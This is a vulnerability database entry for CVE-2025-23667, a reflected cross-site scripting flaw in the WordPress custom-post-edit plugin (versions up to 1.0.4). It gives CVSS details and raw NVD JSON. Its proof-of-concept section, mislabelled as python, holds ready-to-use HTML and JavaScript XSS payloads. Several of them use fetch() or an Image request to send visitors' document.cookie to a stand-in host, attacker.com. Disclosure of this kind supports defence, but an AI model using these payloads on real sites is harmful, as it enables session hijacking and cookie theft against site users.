Security Vulnerability Report
中文
CVE-2025-23667 CVSS 7.1 HIGH

CVE-2025-23667

Published: 2025-12-31 20:15:41
Last Modified: 2026-04-23 15:24:16

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Christopher Churchill custom-post-edit front-end-post-edit allows Reflected XSS.This issue affects custom-post-edit: from n/a through <= 1.0.4.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

custom-post-edit <= 1.0.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-23667 PoC - Reflected XSS in custom-post-edit plugin --> <!-- Target: WordPress site with custom-post-edit plugin <= 1.0.4 --> <!-- Basic PoC - Inject alert script --> <a href="http://target-site.com/?post_type=custom_post&p=<script>alert(document.cookie)</script>">Click Here</a> <!-- PoC using img onerror event handler --> <a href="http://target-site.com/?post_type=custom_post&p=<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>">View Post</a> <!-- PoC using SVG element --> <a href="http://target-site.com/?post_type=custom_post&p=<svg onload=fetch('https://attacker.com/log?data='+btoa(document.cookie))>">Read More</a> <!-- JavaScript PoC for cookie stealing --> <script> // Generate malicious URL with XSS payload const baseUrl = window.location.origin + '/wp-admin/admin.php'; const params = new URLSearchParams({ page: 'custom-post-edit', post_id: '<script>new Image().src="https://attacker.com/logger?c="+document.cookie</script>' }); const maliciousUrl = baseUrl + '?' + params.toString(); console.log('Malicious URL:', maliciousUrl); </script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-23667", "sourceIdentifier": "[email protected]", "published": "2025-12-31T20:15:40.550", "lastModified": "2026-04-23T15:24:15.533", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Christopher Churchill custom-post-edit front-end-post-edit allows Reflected XSS.This issue affects custom-post-edit: from n/a through <= 1.0.4."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en Christopher Churchill permite XSS Reflejado. Este problema afecta a custom-post-edit: desde n/a hasta 1.0.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/front-end-post-edit/vulnerability/wordpress-custom-post-edit-plugin-1-0-4-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}